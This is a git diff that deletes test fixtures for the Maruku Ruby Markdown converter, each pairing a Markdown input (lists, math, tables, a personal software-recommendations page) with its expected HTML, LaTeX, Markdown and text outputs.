-		],{:want_my_paragraph=>true},[]),
-		md_el(:li,[md_par(["Another item in the same list."])],{:want_my_paragraph=>false},[])
-	],{},[])
-],{},[])
-*** Output of to_html ***
-<ol>
-<li>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.</li>
-
-<li>Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.</li>
-
-<li>Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.</li>
-
-<li>Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.</li>
-
-<li>Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.</li>
-</ol>
-
-<p>Ancora</p>
-
-<ol>
-<li>
-<p>This is a list item with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.</p>
-
-<p>ATTENZIONE!</p>
-
-<ul>
-<li>
-<p>Uno</p>
-</li>
-
-<li>
-<p>Due</p>
-
-<ol>
-<li>tre</li>
-
-<li>tre</li>
-
-<li>tre</li>
-</ol>
-</li>
-
-<li>
-<p>Due</p>
-</li>
-</ul>
-</li>
-
-<li>
-<p>Suspendisse id sem consectetuer libero luctus adipiscing.</p>
-</li>
-</ol>
-
-<p>Ancora</p>
-
-<ul>
-<li>
-<p>This is a list item with two paragraphs.</p>
-
-<p>This is the second paragraph in the list item. You&#8217;re only required to indent the first line. Lorem ipsum dolor sit amet, consectetuer adipiscing elit.</p>
-</li>
-
-<li>
-<p>Another item in the same list.</p>
-</li>
-</ul>
-*** Output of to_latex ***
-\begin{enumerate}%
-\item Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.
-\item Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.
-\item Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.
-\item Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.
-\item Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.
-
-\end{enumerate}
-Ancora
-
-\begin{enumerate}%
-\item This is a list item with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
-
-ATTENZIONE!
-
-\begin{itemize}%
-\item Uno
-
-
-\item Due
-
-\begin{enumerate}%
-\item tre
-\item tre
-\item tre
-
-\end{enumerate}
-
-\item Due
-
-
-
-\end{itemize}
-
-\item Suspendisse id sem consectetuer libero luctus adipiscing.
-
-
-
-\end{enumerate}
-Ancora
-
-\begin{itemize}%
-\item This is a list item with two paragraphs.
-
-This is the second paragraph in the list item. You'{}re only required to indent the first line. Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
-
-
-\item Another item in the same list.
-
-
-
-\end{itemize}
-*** Output of to_md ***
-1.  Lorem ipsum dolor sit amet,
-    consectetuer adipiscing elit.
-    Aliquam hendrerit mi posuere
-    lectus. Vestibulum enim wisi,
-    viverra nec, fringilla in, laoreet
-    vitae, risus.
-2.  Donec sit amet nisl. Aliquam semper
-    ipsum sit amet velit. Suspendisse
-    id sem consectetuer libero luctus
-    adipiscing.
-3.  Donec sit amet nisl. Aliquam semper
-    ipsum sit amet velit. Suspendisse
-    id sem consectetuer libero luctus
-    adipiscing.
-4.  Donec sit amet nisl. Aliquam semper
-    ipsum sit amet velit. Suspendisse
-    id sem consectetuer libero luctus
-    adipiscing.
-5.  Donec sit amet nisl. Aliquam semper
-    ipsum sit amet velit. Suspendisse
-    id sem consectetuer libero luctus
-    adipiscing.
-
-Ancora
-
-1.  
-    This is a list item with two
-    paragraphs. Lorem ipsum dolor sit amet,
-    consectetuer adipiscing elit. Aliquam
-    hendrerit mi posuere lectus.
-    ATTENZIONE!
-    - Uno
-    - Due
-    
-    1.  tre
-    2.  tre
-    3.  tre
-    - Due
-2.  
-    Suspendisse id sem consectetuer libero
-    luctus adipiscing.
-
-Ancora
-
-- 
-This is a list item with two
-paragraphs.
-This is the second paragraph in the
-list item. You re only required to
-indent the first line. Lorem ipsum
-dolor sit amet, consectetuer adipiscing
-elit.
-- Another item in the same list.
-*** Output of to_s ***
-Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.AncoraThis is a list item with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.ATTENZIONE!UnoDuetretretreDueSuspendisse id sem consectetuer libero luctus adipiscing.AncoraThis is a list item with two paragraphs.This is the second paragraph in the list item. Youre only required to indent the first line. Lorem ipsum dolor sit amet, consectetuer adipiscing elit.Another item in the same list.
diff --git a/vendor/plugins/maruku/spec/block_docs/loss.md b/vendor/plugins/maruku/spec/block_docs/loss.md
deleted file mode 100644
index 14bf60ba..00000000
--- a/vendor/plugins/maruku/spec/block_docs/loss.md
+++ /dev/null
@@ -1,16 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-<br/>123
-
-*** Output of inspect ***
-md_el(:document,[md_html("<br />")],{},[])
-*** Output of to_html ***
-<br />
-*** Output of to_latex ***
-
-*** Output of to_md ***
-
-*** Output of to_s ***
-
diff --git a/vendor/plugins/maruku/spec/block_docs/math/equations.md b/vendor/plugins/maruku/spec/block_docs/math/equations.md
deleted file mode 100644
index 32c358f7..00000000
--- a/vendor/plugins/maruku/spec/block_docs/math/equations.md
+++ /dev/null
@@ -1,49 +0,0 @@
-Write a comment here
-*** Parameters: ***
-require 'maruku/ext/math';{}
-*** Markdown input: ***
-
-$$ x = y $$
-
-$$ x 
-= y $$
-
-$$ 
-x = y $$
-
-$$ x = y 
-$$
-
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:equation,[],{:label=>nil,:math=>" x = y ",:num=>nil},[]),
-	md_el(:equation,[],{:label=>nil,:math=>" x = y \n",:num=>nil},[]),
-	md_el(:equation,[],{:label=>nil,:math=>" x = y \n",:num=>nil},[]),
-	md_el(:equation,[],{:label=>nil,:math=>" x = y \n",:num=>nil},[])
-],{},[])
-*** Output of to_html ***
-<div class="maruku-equation"><code class="maruku-mathml"> x = y </code><span class="maruku-eq-tex"><code style="display: none">x = y</code></span></div><div class="maruku-equation"><code class="maruku-mathml"> x 
-= y 
-</code><span class="maruku-eq-tex"><code style="display: none">x 
-= y</code></span></div><div class="maruku-equation"><code class="maruku-mathml"> 
-x = y 
-</code><span class="maruku-eq-tex"><code style="display: none">x = y</code></span></div><div class="maruku-equation"><code class="maruku-mathml"> x = y 
-
-</code><span class="maruku-eq-tex"><code style="display: none">x = y</code></span></div>
-*** Output of to_latex ***
-\begin{displaymath}
-x = y
-\end{displaymath}
-\begin{displaymath}
-x = y
-\end{displaymath}
-\begin{displaymath}
-x = y
-\end{displaymath}
-\begin{displaymath}
-x = y
-\end{displaymath}
-*** Output of to_md ***
-
-*** Output of to_s ***
-
diff --git a/vendor/plugins/maruku/spec/block_docs/math/inline.md b/vendor/plugins/maruku/spec/block_docs/math/inline.md
deleted file mode 100644
index e7103b7b..00000000
--- a/vendor/plugins/maruku/spec/block_docs/math/inline.md
+++ /dev/null
@@ -1,46 +0,0 @@
-
-*** Parameters: ***
-require 'maruku/ext/math'; {}
-*** Markdown input: ***
-Here are some formulas:
-
-*	$\alpha$
-*	$x^{n}+y^{n} \neq z^{n}$
-
-That's it, nothing else is supported.
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["Here are some formulas:"]),
-	md_el(:ul,[
-		md_el(:li_span,[md_el(:inline_math,[],{:math=>"\\alpha"},[])],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,[md_el(:inline_math,[],{:math=>"x^{n}+y^{n} \\neq z^{n}"},[])],{:want_my_paragraph=>false},[])
-	],{},[]),
-	md_par(["That", md_entity("rsquo"), "s it, nothing else is supported."])
-],{},[])
-*** Output of to_html ***
-<p>Here are some formulas:</p>
-
-<ul>
-<li><code class="maruku-mathml">\alpha</code></li>
-
-<li><code class="maruku-mathml">x^{n}+y^{n} \neq z^{n}</code></li>
-</ul>
-
-<p>That&#8217;s it, nothing else is supported.</p>
-*** Output of to_latex ***
-Here are some formulas:
-
-\begin{itemize}%
-\item $\alpha$
-\item $x^{n}+y^{n} \neq z^{n}$
-
-\end{itemize}
-That'{}s it, nothing else is supported.
-*** Output of to_md ***
-Here are some formulas:
-
---
-That s it, nothing else is supported.
-*** Output of to_s ***
-Here are some formulas:Thats it, nothing else is supported.
diff --git a/vendor/plugins/maruku/spec/block_docs/math/math2.md b/vendor/plugins/maruku/spec/block_docs/math/math2.md
deleted file mode 100644
index 559c8ac7..00000000
--- a/vendor/plugins/maruku/spec/block_docs/math/math2.md
+++ /dev/null
@@ -1,45 +0,0 @@
-
-*** Parameters: ***
-require 'maruku/ext/math'
-{:math_numbered => ['\\['], :html_math_engine => 'itex2mml' }
-*** Markdown input: ***
-
-\[
-	\alpha
-\]
-
-\begin{equation}
-	\alpha
-\end{equation}
-
-\begin{equation} \beta
-\end{equation}
-
-
-\begin{equation} \gamma \end{equation}
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:equation,[],{:label=>"eq1",:math=>"\t\\alpha\n\n",:num=>1},[]),
-	md_el(:equation,[],{:label=>nil,:math=>"\t\\alpha\n\n",:num=>nil},[]),
-	md_el(:equation,[],{:label=>nil,:math=>" \\beta\n",:num=>nil},[]),
-	md_el(:equation,[],{:label=>nil,:math=>" \\gamma ",:num=>nil},[])
-],{},[])
-*** Output of to_html ***
-<div class="maruku-equation" id="eq:eq1"><span class="maruku-eq-number">(1)</span><math xmlns="http://www.w3.org/1998/Math/MathML" display="block" class="maruku-mathml"><mi>&#x3B1;</mi></math><span class="maruku-eq-tex"><code style="display: none">\alpha</code></span></div><div class="maruku-equation"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block" class="maruku-mathml"><mi>&#x3B1;</mi></math><span class="maruku-eq-tex"><code style="display: none">\alpha</code></span></div><div class="maruku-equation"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block" class="maruku-mathml"><mi>&#x3B2;</mi></math><span class="maruku-eq-tex"><code style="display: none">\beta</code></span></div><div class="maruku-equation"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block" class="maruku-mathml"><mi>&#x3B3;</mi></math><span class="maruku-eq-tex"><code style="display: none">\gamma</code></span></div>
-*** Output of to_latex ***
-\begin{equation}
-\alpha
-\label{eq1}\end{equation}
-\begin{displaymath}
-\alpha
-\end{displaymath}
-\begin{displaymath}
-\beta
-\end{displaymath}
-\begin{displaymath}
-\gamma
-\end{displaymath}
-*** Output of to_md ***
-
-*** Output of to_s ***
-
diff --git a/vendor/plugins/maruku/spec/block_docs/math/notmath.md b/vendor/plugins/maruku/spec/block_docs/math/notmath.md
deleted file mode 100644
index 81a6146a..00000000
--- a/vendor/plugins/maruku/spec/block_docs/math/notmath.md
+++ /dev/null
@@ -1,25 +0,0 @@
-
-*** Parameters: ***
-require 'maruku/ext/math'; {:math_enabled => false}
-*** Markdown input: ***
-
-This is not $math$.
-
-\[ \alpha \]
-
-*** Output of inspect ***
-md_el(:document,[md_par(["This is not $math$."]), md_par(["[ \\alpha ]"])],{},[])
-*** Output of to_html ***
-<p>This is not $math$.</p>
-
-<p>[ \alpha ]</p>
-*** Output of to_latex ***
-This is not \$math\$.
-
-[ $\backslash$alpha ]
-*** Output of to_md ***
-This is not $math$.
-
-[ \alpha ]
-*** Output of to_s ***
-This is not $math$.[ \alpha ]
diff --git a/vendor/plugins/maruku/spec/block_docs/math/table.md b/vendor/plugins/maruku/spec/block_docs/math/table.md
deleted file mode 100644
index 94f5d598..00000000
--- a/vendor/plugins/maruku/spec/block_docs/math/table.md
+++ /dev/null
@@ -1,25 +0,0 @@
-Write a comment here
-*** Parameters: ***
-require 'maruku/ext/math';{:html_math_engine => 'itex2mml' }
-*** Markdown input: ***
-<table markdown='1'>
-	$\alpha$
-	<thead>
-		<td>$\beta$</td>
-	</thead>
-</table>
-*** Output of inspect ***
-md_el(:document,[
-	md_html("<table markdown='1'>\n\t$\\alpha$\n\t<thead>\n\t\t<td>$\\beta$</td>\n\t</thead>\n</table>")
-],{},[])
-*** Output of to_html ***
-<table><math xmlns="http://www.w3.org/1998/Math/MathML" display="inline" class="maruku-mathml"><mi>&#x3B1;</mi></math><thead>
-		<td><math xmlns="http://www.w3.org/1998/Math/MathML" display="inline" class="maruku-mathml"><mi>&#x3B2;</mi></math></td>
-	</thead>
-</table>
-*** Output of to_latex ***
-
-*** Output of to_md ***
-
-*** Output of to_s ***
-
diff --git a/vendor/plugins/maruku/spec/block_docs/math/table2.md b/vendor/plugins/maruku/spec/block_docs/math/table2.md
deleted file mode 100644
index a28e188e..00000000
--- a/vendor/plugins/maruku/spec/block_docs/math/table2.md
+++ /dev/null
@@ -1,42 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{}
-*** Markdown input: ***
-
-  Symbol    | Meaning | comments
-------------|---------|---------
-{:r} &alpha; | The first | I like it.
-{:r} &aleph; | The first | I like it.
-
-
-{:r: scope='row'}
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:table,[
-		md_el(:head_cell,["Symbol"],{},[]),
-		md_el(:head_cell,["Meaning"],{},[]),
-		md_el(:head_cell,["comments"],{},[]),
-		md_el(:cell,[" ", md_entity("alpha")],{},[[:ref, "r"]]),
-		md_el(:cell,["The first"],{},[]),
-		md_el(:cell,["I like it."],{},[]),
-		md_el(:cell,[" ", md_entity("aleph")],{},[[:ref, "r"]]),
-		md_el(:cell,["The first"],{},[]),
-		md_el(:cell,["I like it."],{},[])
-	],{:align=>[:left, :left, :left]},[]),
-	md_el(:ald,[],{:ald=>[["scope", "row"]],:ald_id=>"r"},[])
-],{},[])
-*** Output of to_html ***
-<table><thead><tr><th>Symbol</th><th>Meaning</th><th>comments</th></tr></thead><tbody><tr><th scope="row" style="text-align: left;"> &#945;</th><td style="text-align: left;">The first</td><td style="text-align: left;">I like it.</td></tr>
-<tr><th scope="row" style="text-align: left;"> &aleph;</th><td style="text-align: left;">The first</td><td style="text-align: left;">I like it.</td></tr>
-</tbody></table>
-*** Output of to_latex ***
-\begin{tabular}{l|l|l}
-Symbol&Meaning&comments\\
-\hline 
- $\alpha${}&The first&I like it.\\
- &The first&I like it.\\
-\end{tabular}
-*** Output of to_md ***
-SymbolMeaningcomments The firstI like it. The firstI like it.
-*** Output of to_s ***
-SymbolMeaningcomments The firstI like it. The firstI like it.
diff --git a/vendor/plugins/maruku/spec/block_docs/misc_sw.md b/vendor/plugins/maruku/spec/block_docs/misc_sw.md
deleted file mode 100644
index 6e4447d4..00000000
--- a/vendor/plugins/maruku/spec/block_docs/misc_sw.md
+++ /dev/null
@@ -1,586 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{:archive=>false, :date=>"Nov 20 2006", :inmenu=>true, :subject_short=>"painless software", :subject=>"Software not painful to use", :topic=>"/misc/coolsw", :order=>"-9.5"}
-*** Markdown input: ***
-Subject: Software not painful to use
-Subject_short: painless software
-Topic: /misc/coolsw
-Archive: no
-Date: Nov 20 2006
-Order: -9.5
-inMenu: true
-
-
-### General ###
-
-* *Operating System* : [Mac OS X][switch]: heaven, after the purgatory of Linux 
-  and the hell of Windows.
-* *Browser*: [Firefox][firefox]. On a Mac, [Camino][camino].
-* *Email*: [GMail][gmail], "search, don't sort" really works.
-* *Text Editor*: [TextMate][textmate], you have to buy it, but it's worth every
-  penny. There are rumours that it's been converting (recovering) Emacs
-  users (addicts). Unfortunately, it's Mac only. An alternative is
-  [jedit][jedit] (GPL, Java).
-
-### Development ###
-
-* *Build system*: [cmake][cmake], throw the [autotools][autotools] away.
-* *Source code control system*: ditch CVS for [subversion][subversion].
-* *Project management*: [Trac][trac] tracks everything.
-* *Scripting language*: [Ruby][ruby] is Japanese pragmatism (and has a [poignant][poignant] guide). 
-   Python, you say? Python is too academic and snob:
-
-      $ python       
-      Python 2.4.1 (\#1, Jun  4 2005, 00:54:33) 
-      Type "help", "copyright", "credits" or "license" for more information.
-      >>> exit
-      'Use Ctrl-D (i.e. EOF) to exit.'
-      >>> quit
-      'Use Ctrl-D (i.e. EOF) to exit.'
-
-* *Java IDE*: [JBuilder][jbuilder] is great software and has a free version (IMHO better than Eclipse). Java
- is not a pain anymore since it gained [generics][java-generics] and got opensourced.
-* *Mark-up language*: HTML is so 2001, why don't you take at look at [Markdown][markdown]? [Look at the source of this page](data/misc_markdown.png).
-* *C++ libraries*: 
-    * [QT][qt] for GUIs.
-    * [GSL][gsl] for math.
-    * [Magick++][magick] for manipulating images.
-    * [Cairo][cairo] for creating PDFs.
-    * [Boost][boost] for just about everything else.
-
-
-### Research ###
-
-* *Writing papers*: [LaTeX][latex]
-* *Writing papers & enjoying the process*: [LyX][lyx]
-* *Handsome figures in your papers*: [xfig][xfig] or, better, [jfig][jfig].
-* *The occasional presentation with many graphical content*: 
-  [OpenOffice Impress][impress] (using the [OOOlatex plugin][ooolatex]); 
-  the alternative is PowerPoint with the [TexPoint][texpoint] plugin.
-* *Managing BibTeX*: [jabref][jabref]: multi-platform, for all your bibtex needs.
-* *IEEExplore and BibTeX*: convert citations using [BibConverter][bibconverter].
-
-### Cool websites ###
-
-* *Best site in the wwworld*: [Wikipedia][wikipedia]
-* [Mutopia][mutopia] for sheet music; [the Gutenberg Project][gutenberg] for books; [LiberLiber][liberliber] for books in italian.
-* *Blogs*: [Bloglines][bloglines]
-* *Sharing photos*: [flickr][flickr] exposes an API you can use.
-
-
-[firefox]:   http://getfirefox.com/
-[gmail]:     http://gmail.com/
-[bloglines]: http://bloglines.com/
-[wikipedia]: http://en.wikipedia.org/
-[ruby]:      http://www.ruby-lang.org/
-[poignant]:  http://poignantguide.net/ruby/
-[webgen]:    http://webgen.rubyforge.org/
-[markdown]:  http://daringfireball.net/projects/markdown/
-[latex]:     http://en.wikipedia.org/wiki/LaTeX
-[lyx]:       http://www.lyx.org
-[impress]:   http://www.openoffice.org/product/impress.html
-[ooolatex]:  http://ooolatex.sourceforge.net/
-[texpoint]:  http://texpoint.necula.org/
-[jabref]:    http://jabref.sourceforge.net/
-[camino]:    http://www.caminobrowser.org/
-[switch]:    http://www.apple.com/getamac/
-[textmate]:  http://www.apple.com/getamac/
-[cmake]:     http://www.cmake.org/
-[xfig]:      http://www.xfig.org/
-[jfig]:         http://tams-www.informatik.uni-hamburg.de/applets/jfig/
-[subversion]:   http://subversion.tigris.org
-[jbuilder]:     http://www.borland.com/us/products/jbuilder/index.html
-[flickr]:       http://www.flickr.com/
-[myflickr]:     http://www.flickr.com/photos/censi
-[bibconverter]: http://www.bibconverter.net/ieeexplore/
-[autotools]:    http://sources.redhat.com/autobook/
-[jedit]:        http://www.jedit.org/
-[qt]:           http://www.trolltech.no/
-[gsl]:          http://www.gnu.org/software/gsl/
-[magick]:       http://www.imagemagick.org/Magick++/
-[cairo]:        http://cairographics.org/
-[boost]:        http://www.boost.org/
-[markdown]:     http://en.wikipedia.org/wiki/Markdown
-[trac]:         http://trac.edgewall.org/
-[mutopia]:      http://www.mutopiaproject.org/
-[liberliber]:   http://www.liberliber.it/
-[gutenberg]:    http://www.gutenberg.org/
-[java-generics]: http://java.sun.com/j2se/1.5.0/docs/guide/language/generics.html
-
-
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:header,["General"],{:level=>3},[]),
-	md_el(:ul,[
-		md_el(:li_span,[
-			md_em(["Operating System"]),
-			" : ",
-			md_link(["Mac OS X"],"switch"),
-			": heaven, after the purgatory of Linux and the hell of Windows."
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,[
-			md_em(["Browser"]),
-			": ",
-			md_link(["Firefox"],"firefox"),
-			". On a Mac, ",
-			md_link(["Camino"],"camino"),
-			"."
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,[
-			md_em(["Email"]),
-			": ",
-			md_link(["GMail"],"gmail"),
-			", ",
-			md_entity("ldquo"),
-			"search, don",
-			md_entity("rsquo"),
-			"t sort",
-			md_entity("rdquo"),
-			" really works."
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,[
-			md_em(["Text Editor"]),
-			": ",
-			md_link(["TextMate"],"textmate"),
-			", you have to buy it, but it",
-			md_entity("rsquo"),
-			"s worth every penny. There are rumours that it",
-			md_entity("rsquo"),
-			"s been converting (recovering) Emacs users (addicts). Unfortunately, it",
-			md_entity("rsquo"),
-			"s Mac only. An alternative is ",
-			md_link(["jedit"],"jedit"),
-			" (GPL, Java)."
-		],{:want_my_paragraph=>false},[])
-	],{},[]),
-	md_el(:header,["Development"],{:level=>3},[]),
-	md_el(:ul,[
-		md_el(:li,[
-			md_par([
-				md_em(["Build system"]),
-				": ",
-				md_link(["cmake"],"cmake"),
-				", throw the ",
-				md_link(["autotools"],"autotools"),
-				" away."
-			])
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li,[
-			md_par([
-				md_em(["Source code control system"]),
-				": ditch CVS for ",
-				md_link(["subversion"],"subversion"),
-				"."
-			])
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li,[
-			md_par([
-				md_em(["Project management"]),
-				": ",
-				md_link(["Trac"],"trac"),
-				" tracks everything."
-			])
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li,[
-			md_par([
-				md_em(["Scripting language"]),
-				": ",
-				md_link(["Ruby"],"ruby"),
-				" is Japanese pragmatism (and has a ",
-				md_link(["poignant"],"poignant"),
-				" guide). Python, you say? Python is too academic and snob:"
-			]),
-			md_el(:code,[],{:raw_code=>"$ python       \nPython 2.4.1 (\\#1, Jun  4 2005, 00:54:33) \nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n>>> exit\n'Use Ctrl-D (i.e. EOF) to exit.'\n>>> quit\n'Use Ctrl-D (i.e. EOF) to exit.'"},[])
-		],{:want_my_paragraph=>true},[]),
-		md_el(:li,[
-			md_par([
-				md_em(["Java IDE"]),
-				": ",
-				md_link(["JBuilder"],"jbuilder"),
-				" is great software and has a free version (IMHO better than Eclipse). Java is not a pain anymore since it gained ",
-				md_link(["generics"],"javagenerics"),
-				" and got opensourced."
-			])
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li,[
-			md_par([
-				md_em(["Mark-up language"]),
-				": HTML is so 2001, why don",
-				md_entity("rsquo"),
-				"t you take at look at ",
-				md_link(["Markdown"],"markdown"),
-				"? ",
-				md_im_link(["Look at the source of this page"], "data/misc_markdown.png", nil),
-				"."
-			])
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li,[
-			md_par([
-				md_em(["C++ libraries"]),
-				": * ",
-				md_link(["QT"],"qt"),
-				" for GUIs. * ",
-				md_link(["GSL"],"gsl"),
-				" for math. * ",
-				md_link(["Magick++"],"magick"),
-				" for manipulating images. * ",
-				md_link(["Cairo"],"cairo"),
-				" for creating PDFs. * ",
-				md_link(["Boost"],"boost"),
-				" for just about everything else."
-			])
-		],{:want_my_paragraph=>false},[])
-	],{},[]),
-	md_el(:header,["Research"],{:level=>3},[]),
-	md_el(:ul,[
-		md_el(:li_span,[md_em(["Writing papers"]), ": ", md_link(["LaTeX"],"latex")],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,[
-			md_em(["Writing papers & enjoying the process"]),
-			": ",
-			md_link(["LyX"],"lyx")
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,[
-			md_em(["Handsome figures in your papers"]),
-			": ",
-			md_link(["xfig"],"xfig"),
-			" or, better, ",
-			md_link(["jfig"],"jfig"),
-			"."
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,[
-			md_em(["The occasional presentation with many graphical content"]),
-			": ",
-			md_link(["OpenOffice Impress"],"impress"),
-			" (using the ",
-			md_link(["OOOlatex plugin"],"ooolatex"),
-			"); the alternative is PowerPoint with the ",
-			md_link(["TexPoint"],"texpoint"),
-			" plugin."
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,[
-			md_em(["Managing BibTeX"]),
-			": ",
-			md_link(["jabref"],"jabref"),
-			": multi-platform, for all your bibtex needs."
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,[
-			md_em(["IEEExplore and BibTeX"]),
-			": convert citations using ",
-			md_link(["BibConverter"],"bibconverter"),
-			"."
-		],{:want_my_paragraph=>false},[])
-	],{},[]),
-	md_el(:header,["Cool websites"],{:level=>3},[]),
-	md_el(:ul,[
-		md_el(:li_span,[
-			md_em(["Best site in the wwworld"]),
-			": ",
-			md_link(["Wikipedia"],"wikipedia")
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,[
-			md_link(["Mutopia"],"mutopia"),
-			" for sheet music; ",
-			md_link(["the Gutenberg Project"],"gutenberg"),
-			" for books; ",
-			md_link(["LiberLiber"],"liberliber"),
-			" for books in italian."
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,[md_em(["Blogs"]), ": ", md_link(["Bloglines"],"bloglines")],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,[
-			md_em(["Sharing photos"]),
-			": ",
-			md_link(["flickr"],"flickr"),
-			" exposes an API you can use."
-		],{:want_my_paragraph=>false},[])
-	],{},[]),
-	md_ref_def("firefox", "http://getfirefox.com/", {:title=>nil}),
-	md_ref_def("gmail", "http://gmail.com/", {:title=>nil}),
-	md_ref_def("bloglines", "http://bloglines.com/", {:title=>nil}),
-	md_ref_def("wikipedia", "http://en.wikipedia.org/", {:title=>nil}),
-	md_ref_def("ruby", "http://www.ruby-lang.org/", {:title=>nil}),
-	md_ref_def("poignant", "http://poignantguide.net/ruby/", {:title=>nil}),
-	md_ref_def("webgen", "http://webgen.rubyforge.org/", {:title=>nil}),
-	md_ref_def("markdown", "http://daringfireball.net/projects/markdown/", {:title=>nil}),
-	md_ref_def("latex", "http://en.wikipedia.org/wiki/LaTeX", {:title=>nil}),
-	md_ref_def("lyx", "http://www.lyx.org", {:title=>nil}),
-	md_ref_def("impress", "http://www.openoffice.org/product/impress.html", {:title=>nil}),
-	md_ref_def("ooolatex", "http://ooolatex.sourceforge.net/", {:title=>nil}),
-	md_ref_def("texpoint", "http://texpoint.necula.org/", {:title=>nil}),
-	md_ref_def("jabref", "http://jabref.sourceforge.net/", {:title=>nil}),
-	md_ref_def("camino", "http://www.caminobrowser.org/", {:title=>nil}),
-	md_ref_def("switch", "http://www.apple.com/getamac/", {:title=>nil}),
-	md_ref_def("textmate", "http://www.apple.com/getamac/", {:title=>nil}),
-	md_ref_def("cmake", "http://www.cmake.org/", {:title=>nil}),
-	md_ref_def("xfig", "http://www.xfig.org/", {:title=>nil}),
-	md_ref_def("jfig", "http://tams-www.informatik.uni-hamburg.de/applets/jfig/", {:title=>nil}),
-	md_ref_def("subversion", "http://subversion.tigris.org", {:title=>nil}),
-	md_ref_def("jbuilder", "http://www.borland.com/us/products/jbuilder/index.html", {:title=>nil}),
-	md_ref_def("flickr", "http://www.flickr.com/", {:title=>nil}),
-	md_ref_def("myflickr", "http://www.flickr.com/photos/censi", {:title=>nil}),
-	md_ref_def("bibconverter", "http://www.bibconverter.net/ieeexplore/", {:title=>nil}),
-	md_ref_def("autotools", "http://sources.redhat.com/autobook/", {:title=>nil}),
-	md_ref_def("jedit", "http://www.jedit.org/", {:title=>nil}),
-	md_ref_def("qt", "http://www.trolltech.no/", {:title=>nil}),
-	md_ref_def("gsl", "http://www.gnu.org/software/gsl/", {:title=>nil}),
-	md_ref_def("magick", "http://www.imagemagick.org/Magick++/", {:title=>nil}),
-	md_ref_def("cairo", "http://cairographics.org/", {:title=>nil}),
-	md_ref_def("boost", "http://www.boost.org/", {:title=>nil}),
-	md_ref_def("markdown", "http://en.wikipedia.org/wiki/Markdown", {:title=>nil}),
-	md_ref_def("trac", "http://trac.edgewall.org/", {:title=>nil}),
-	md_ref_def("mutopia", "http://www.mutopiaproject.org/", {:title=>nil}),
-	md_ref_def("liberliber", "http://www.liberliber.it/", {:title=>nil}),
-	md_ref_def("gutenberg", "http://www.gutenberg.org/", {:title=>nil}),
-	md_ref_def("javagenerics", "http://java.sun.com/j2se/1.5.0/docs/guide/language/generics.html", {:title=>nil})
-],{},[])
-*** Output of to_html ***
-<h3 id="general_1">General</h3>
-
-<ul>
-<li><em>Operating System</em> : <a href="http://www.apple.com/getamac/">Mac OS X</a>: heaven, after the purgatory of Linux and the hell of Windows.</li>
-
-<li><em>Browser</em>: <a href="http://getfirefox.com/">Firefox</a>. On a Mac, <a href="http://www.caminobrowser.org/">Camino</a>.</li>
-
-<li><em>Email</em>: <a href="http://gmail.com/">GMail</a>, &#8220;search, don&#8217;t sort&#8221; really works.</li>
-
